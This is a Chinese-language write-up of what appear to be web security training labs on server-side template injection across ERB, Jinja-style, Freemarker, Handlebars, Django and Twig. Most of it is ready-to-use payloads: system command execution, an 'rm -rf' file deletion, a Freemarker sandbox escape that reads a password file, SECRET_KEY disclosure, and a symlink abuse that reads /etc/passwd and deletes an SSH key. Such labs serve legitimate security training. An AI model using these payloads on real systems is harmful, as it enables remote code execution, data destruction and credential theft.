基本服务器端模板注入
当点击第一个信息的时候
弹出了一个新的页面
/?message=<@urlencode><%= 7* 7 %><@/urlencode>
可以发现使用了模板语句 <%= Ruby expression – replace with result %> 可以插入ruby代码 属于erb框架的语句
那么我们尝试使用ruby的 system()方法去执行系统命令
/?message=<@urlencode><%= system('ls') %><@/urlencode>
/?message=<@urlencode><%= system('rm -rf morale.txt') %><@/urlencode>
基本服务器端模板注入(代码上下文)
blog-post-author-display=<@urlencode>user.first_name}}{{ 7+7 }}<@/urlencode>&csrf=XTVeW9Vm4gzPc4qy40BxucOBiNzooIvV
当你发送评论时 就会触发模板语句
blog-post-author-display=<@urlencode>user.first_name}}{% import os %}{{ os.popen('ls').read() }}<@/urlencode>&csrf=CaaZvKrCkWCDHKeIkLT1yr9eXGxrEsD8
其中{%%}
用于执行控制结构或者其他的功能 {{}}
用于输出变量或者表达式的值 两者不能混用
blog-post-author-display=<@urlencode>user.first_name}}{% import os %}{{ os.popen('rm -rf morale.txt').read() }}<@/urlencode>&csrf=CaaZvKrCkWCDHKeIkLT1yr9eXGxrEsD8
使用文档的服务器端模板注入
先登录
存在一个编辑模板的页面
可以看到存在模板语句
通过执行错误的 模板语句 可以发现使用的是java的Freemarker框架
在Freemarker中可以发现提出了一个问题 我们可以允许用户上传模板吗,有什么安全问题
http://freemarker.foofun.cn/app_faq.html
并且给我们介绍了一个 new()
这里介绍了 只要实现了 TemplateModel 接口就可以使用这些对象 并且给出了我们new的用法
<#assign word_wrapp = "com.acmee.freemarker.WordWrapperDirective"?new()>
这里去查看一下 FreeMarker的api文档
从TemplateModel 可以看到所有实现的接口 找到 Execute 可以执行shell
我们尝试构造一下
<#assign exec = "freemarker.template.utility.Execute"?new()>
${exec( "id" )}
exec 为我们创建的对象名
<#assign exec = "freemarker.template.utility.Execute"?new()>
${exec( "rm -rf morale.txt" )}
使用记录在案的利用未知语言的服务器端模板注入
这里推荐一个网站
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
可以看到是 handlebars 的程序
可以直接使用这个网站的payload 也可以去搜索
/?message=unfo<@urlencode>{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('rm -rf morale.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}<@/urlencode>
通过用户提供的对象进行信息泄露的服务器端模板注入
发现是django
https://docs.djangoproject.com/zh-hans/4.1/
找到这个 可以输出debug 的信息
{% debug %}
尝试读取 settings.SECRET_KEY
{{ settings.SECRET_KEY }}
沙盒环境中的服务器端模板注入
这里是 freemarker 框架
尝试用上一关的payload
${product}
这里发现获取了一个对象
通过查看 java doc 可以尝试绕过
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
最后形成的payload
使用自定义漏洞利用的服务器端模板注入
尝试 发现是php-twig
存在文件上传并且这里可以读取文件内容
尝试上传 txt文件的时候发现出现错误 上传的文件类型不是一个图片 并出现了User->setAvatar() 也可以看到几个源码的路径信息
那么我们如果调用 setAvatar() 是否可以 读取服务器文件呢
blog-post-author-display=user.setAvatar('/etc/passwd','image/jpg')&csrf=Xrbb3fQ7OBRB8fQz7GHdd1zkFTQWi9dU
先访问文章页面 刷新下图片
/avatar?avatar=wiener
访问图片获得文件内容
blog-post-author-display=user.setAvatar('/home/carlos/User.php','image/jpg')&csrf=Xrbb3fQ7OBRB8fQz7GHdd1zkFTQWi9dU
尝试读取源码
成功获取到源码
<?php
class User {
public $username;
public $name;
public $first_name;
public $nickname;
public $user_dir;
public function __construct($username, $name, $first_name, $nickname) {
$this->username = $username;
$this->name = $name;
$this->first_name = $first_name;
$this->nickname = $nickname;
$this->user_dir = "users/" . $this->username;
$this->avatarLink = $this->user_dir . "/avatar";
if (!file_exists($this->user_dir)) {
if (!mkdir($this->user_dir, 0755, true))
{
throw new Exception("Could not mkdir users/" . $this->username);
}
}
}
public function setAvatar($filename, $mimetype) {
if (strpos($mimetype, "image/") !== 0) {
throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
}
if (is_link($this->avatarLink)) {
// is_link 表示这个文件是否是一个符号链接
$this->rm($this->avatarLink);
// 如果是就删除这个文件
}
if (!symlink($filename, $this->avatarLink)) {
// 通过 symlink 来链接文件名和 avatarLink
throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
}
}
public function delete() {
$file = $this->user_dir . "/disabled";
if (file_put_contents($file, "") === false) {
// 这里是将 disabled 的内容删除
throw new Exception("Could not write to " . $file);
}
}
public function gdprDelete() {
$this->rm(readlink($this->avatarLink));
// 通过 readlink 读取链接的文件 接着使用 rm中的unlink删除文件
$this->rm($this->avatarLink);
$this->delete();
}
private function rm($filename) {
if (!unlink($filename)) {
throw new Exception("Could not delete " . $filename);
}
}
}
?>
那么这里只需要先给 avatarLink 赋值为想要的文件 接着 调用 gdprDelete() 即可
blog-post-author-display=user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpg')&csrf=W5FwdbuU0HDP3rIqxniI09nlwIqdyM9x
blog-post-author-display=user.gdprDelete()&csrf=W5FwdbuU0HDP3rIqxniI09nlwIqdyM9x